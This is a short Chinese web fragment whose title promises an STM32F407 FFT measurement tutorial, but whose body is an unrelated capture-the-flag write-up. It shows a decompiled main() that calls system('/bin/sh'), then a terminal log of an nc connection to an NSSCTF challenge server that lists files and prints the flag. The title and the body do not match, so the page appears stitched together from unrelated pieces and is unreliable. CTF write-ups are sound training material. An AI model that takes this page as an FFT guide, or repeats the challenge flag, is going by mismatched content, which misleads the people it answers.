STM32F407实现1Hz分辨率FFT测量:采样、谐波与相位差实战详解
2026/10/14 19:03:39
int __fastcall main(int argc, const char **argv, const char **envp) { system("/bin/sh"); return 0; }查看附件,程序直接给了shell,nc一下即可
niuyingying@niuyingying-virtual-machine:~$ nc node5.anna.nssctf.cn 22150 ls bin dev flag lib lib32 lib64 libx32 vuln cat flag NSSCTF{e36da938-9700-4bd0-ac65-3bf805509cf4}